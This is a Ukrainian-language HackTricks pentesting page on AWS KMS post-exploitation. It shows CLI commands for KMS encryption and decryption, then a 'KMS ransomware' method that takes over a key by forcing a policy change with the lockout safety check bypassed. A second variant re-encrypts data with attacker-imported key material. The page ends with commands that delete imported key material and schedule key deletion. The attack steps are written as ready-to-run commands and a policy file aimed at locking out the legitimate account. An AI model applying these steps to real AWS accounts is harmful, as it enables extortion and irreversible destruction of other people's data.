AWS - KMS Post Exploitation

Підтримайте HackTricks

KMS

Для отримання додаткової інформації перегляньте:

AWS - KMS Enum

Шифрування/Дешифрування інформації

Зверніть увагу, що якщо ви хочете дешифрувати деякі дані всередині файлу, файл повинен містити бінарні дані, а не дані, закодовані в base64.

  • Використовуючи симетричний ключ

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Використання асиметричного ключа:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Атакуючий з привілейованим доступом до KMS може змінити політику KMS ключів і надати своєму обліковому запису доступ до них, видаливши доступ, наданий легітимному обліковому запису.

Тоді користувачі легітимного облікового запису не зможуть отримати доступ до будь-якої інформації будь-якої служби, яка була зашифрована цими ключами, створюючи простий, але ефективний програмний забезпечення для викупу над обліковим записом.

Зверніть увагу, що керовані AWS ключі не підлягають цій атаці, тільки керовані клієнтом ключі.

Також зверніть увагу на необхідність використання параметра --bypass-policy-lockout-safety-check (відсутність цієї опції в веб-консолі робить цю атаку можливою лише з CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Зверніть увагу, що якщо ви зміните цю політику і надасте доступ лише зовнішньому обліковому запису, а потім з цього зовнішнього облікового запису спробуєте встановити нову політику, щоб повернути доступ до оригінального облікового запису, ви не зможете.

Загальний KMS Ransomware

Глобальний KMS Ransomware

Існує інший спосіб виконати глобальний KMS Ransomware, який включатиме наступні кроки:

  • Створити новий ключ з матеріалом ключа, імпортованим зловмисником

  • Зашифрувати старі дані знову, зашифровані попередньою версією, новою.

  • Видалити KMS ключ

  • Тепер лише зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані

Знищити ключі

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Зверніть увагу, що AWS тепер запобігає виконанню попередніх дій з іншого облікового запису:

Підтримайте HackTricks

Last updated